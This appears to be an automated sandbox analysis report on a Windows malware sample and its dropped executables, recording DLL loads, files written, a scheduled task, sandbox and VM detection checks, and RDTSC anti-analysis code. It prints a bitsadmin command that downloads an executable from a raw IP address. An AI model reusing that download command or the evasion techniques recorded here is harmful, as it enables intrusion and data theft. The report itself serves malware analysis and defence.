Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: bitsproxy.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1841664 > 1048576

Source: file.exe

Static PE information: Raw size of eyhsvkkq is bigger than: 0x100000 < 0x1a7c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2714408648.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.460000.0.unpack :EW;.rsrc:W;.idata :W; :EW;eyhsvkkq:EW;qtctcvbs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;eyhsvkkq:EW;qtctcvbs:EW;.taggant:EW;
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Unpacked PE file: 25.2.DocumentsGCFIIEBKEG.exe.dc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hpiiigzq:EW;rizbcyzd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hpiiigzq:EW;rizbcyzd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hpiiigzq:EW;rizbcyzd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hpiiigzq:EW;rizbcyzd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hpiiigzq:EW;rizbcyzd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hpiiigzq:EW;rizbcyzd:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: tvtC9D3.exe.28.dr	Static PE information: real checksum: 0x0 should be: 0xd592
Source: tvtC9D3[1].exe.28.dr	Static PE information: real checksum: 0x0 should be: 0xd592
Source: nsExec.dll.30.dr	Static PE information: real checksum: 0x0 should be: 0x939f
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: real checksum: 0x1cc073 should be: 0x1c8c03
Source: file.exe	Static PE information: real checksum: 0x1d0046 should be: 0x1ccc65
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1cc073 should be: 0x1c8c03
Source: skotes.exe.25.dr	Static PE information: real checksum: 0x1cc073 should be: 0x1c8c03

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: eyhsvkkq
Source: file.exe	Static PE information: section name: qtctcvbs
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: hpiiigzq
Source: random[1].exe.0.dr	Static PE information: section name: rizbcyzd
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name:
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name:
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name: hpiiigzq
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name: rizbcyzd
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.25.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name: .idata
Source: skotes.exe.25.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name: hpiiigzq
Source: skotes.exe.25.dr	Static PE information: section name: rizbcyzd
Source: skotes.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B536 push ecx; ret	0_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C6D91C push ecx; ret	28_2_00C6D92F
Source: C:\Windows\SysWOW64\bitsadmin.exe	Code function: 33_2_0484F384 push ecx; retf	33_2_0484F674

Source: file.exe	Static PE information: section name: eyhsvkkq entropy: 7.952969754131407
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.983145220499019
Source: random[1].exe.0.dr	Static PE information: section name: hpiiigzq entropy: 7.953991721302744
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name: entropy: 7.983145220499019
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name: hpiiigzq entropy: 7.953991721302744
Source: skotes.exe.25.dr	Static PE information: section name: entropy: 7.983145220499019
Source: skotes.exe.25.dr	Static PE information: section name: hpiiigzq entropy: 7.953991721302744

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCFIIEBKEG.exe

Jump to dropped file

Tries to download files via bitsadmin

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe"
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe"

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsGCFIIEBKEG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\tvtC9D3[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	File created: C:\Users\user\AppData\Local\Temp\nsw73E9.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCFIIEBKEG.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCFIIEBKEG.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsGCFIIEBKEG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837A5D second address: 837A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E193h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837BD0 second address: 837BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837BD5 second address: 837C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F00CD21E193h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F00CD21E199h 0x00000016 jp 00007F00CD21E186h 0x0000001c jmp 00007F00CD21E191h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837C25 second address: 837C3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F00CCD814B2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837C3E second address: 837C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AD73 second address: 83ADA0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F00CCD814A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F00CCD814B5h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ADA0 second address: 83ADA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ADA6 second address: 83ADDD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 movsx edx, di 0x0000000c lea ebx, dword ptr [ebp+1245EB97h] 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F00CCD814A8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push eax 0x0000002d pushad 0x0000002e push ecx 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 pop ecx 0x00000032 push ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AE6D second address: 83AEEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E194h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F00CD21E197h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 jmp 00007F00CD21E18Ch 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push edi 0x00000020 pushad 0x00000021 jng 00007F00CD21E186h 0x00000027 push edi 0x00000028 pop edi 0x00000029 popad 0x0000002a pop edi 0x0000002b pop eax 0x0000002c movsx edi, di 0x0000002f push 00000003h 0x00000031 xor dword ptr [ebp+122D37A7h], ecx 0x00000037 push 00000000h 0x00000039 movsx ecx, cx 0x0000003c xor dx, DFE6h 0x00000041 push 00000003h 0x00000043 or edx, 1E72C62Fh 0x00000049 call 00007F00CD21E189h 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AEEB second address: 83AEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F00CCD814A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AEFB second address: 83AF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
